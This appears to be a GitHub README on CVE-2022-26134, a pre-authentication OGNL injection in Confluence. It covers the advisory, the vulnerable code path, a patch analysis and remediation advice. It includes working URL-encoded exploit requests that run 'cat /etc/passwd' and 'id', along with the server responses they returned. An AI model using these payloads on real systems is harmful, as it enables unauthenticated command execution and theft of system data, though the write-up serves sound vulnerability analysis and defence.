murataydemir/cve-2022-26134[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection
[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection
Confluence is a web-based workspace collaboration product that is developed by Atlassian. It can be deployed on-prem or as part of Atlassian Cloud. It consists of 3 key features: page, space and page tree.
On 2022-06-02 at 20:00 UTC Atlassian released a Security Advisory relating to a remote code execution (RCE) vulnerability affecting Confluence Server and Confluence Data Center products. You can find detailed information about the CVE-2022-26134 vulnerability in the down below.
Summary: CVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability in Confluence Server and Data Center
Advisory Release Date: 02 Jun 2022
Affected Products: Confluence Server and Confluence Data Center
Affected Versions: All supported versions of Confluence Server and Data Center are affected. Confluence Server and Data Center versions after 1.3.0 are affected.
Fixed Versions: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1
CVE ID(s): CVE-2022-26134 Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection
Sample Request 1
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Response 1
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close
Proof of Concept: Sample Request 2
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Response 2
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence)
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close
How the vulnerability works?
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ in the URL is parsed by Confluence as namespace. Then the code uses translateVariables (part of the text-parsing utilities in Confluence) on this namespace. Because translateVariables uses OGNL, the attack will be parsed and evaluated.
OgnlValueStack findValue(str) is important as it is the starting point for the OGNL expression to be evaluated. As you can see in the below snippet TextParseUtil.class invokes OgnlValueStack.findValue when this vulnerability is exploited.
public class TextParseUtil {
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();
Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
Matcher m = p.matcher(expression);
int previous = 0;
while (m.find()) {
String str1, g = m.group(1);
int start = m.start();
try {
Object o = stack.findValue(g);
str1 = (o == null) ? "" : o.toString();
} catch (Exception ignored) {
str1 = "";
}
sb.append(expression.substring(previous, start)).append(str1);
previous = m.end();
}
if (previous < expression.length())
sb.append(expression.substring(previous));
return sb.toString();
}
}
ActionChainResult.class calls TextParseUtil.translateVariables using this.namespace as the provided expression:
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
Where namespace is created from the request URI string in com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath:
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
The result is that the attacker-provided URI will be translated into a namespace, which will then find its way down to OGNL expression evaluation. At a high level, this is very similar to CVE-2018-11776, the Apache Struts2 namespace OGNL injection vulnerability.
The Patch Analysis
Atlassian directed customers to replace xwork-1.0.3.6.jar with a newly released xwork-1.0.3-atlassian-10.jar. The xwork jars contain the ActionChainResult.class and TextParseUtil.class we identified as the path to OGNL expression evaluation.
The patch makes a number of small changes to fix this issue. For one, namespace is no longer passed down to TextParseUtil.translateVariables from ActionChainResult.execute:
Before
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
After
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
String finalNamespace = this.namespace;
String finalActionName = this.actionName;
Thanks to the git diff command output, you can see the differences before and after patch at ActionChainResult.class in the screenshot below. (copied from Datalog blogpost)
Atlassian also added SafeExpressionUtil.class to the xworks jar. SafeExpressionUtil.class provides filtering of unsafe expressions, and has been inserted into OgnlValueStack.class in order to examine expressions when findValue is invoked. For example:
public Object findValue(String expr) {
try {
if (expr == null)
return null;
if (!this.safeExpressionUtil.isSafeExpression(expr))
return null;
if (this.overrides != null && this.overrides.containsKey(expr))
What can organizations do to protect against this vulnerability?
Now that a patch is available, please upgrade to a fixed version of Confluence. If patching is not feasible at this time, Atlassian has provided temporary workaround instructions for customers based on their Confluence versions. They both require shutting down confluence temporarily while applying the mitigations. For more information, please refer to the specific guidance from the Atlassian advisory:
For more information about remediation of this vulnerability, please visit the following resources: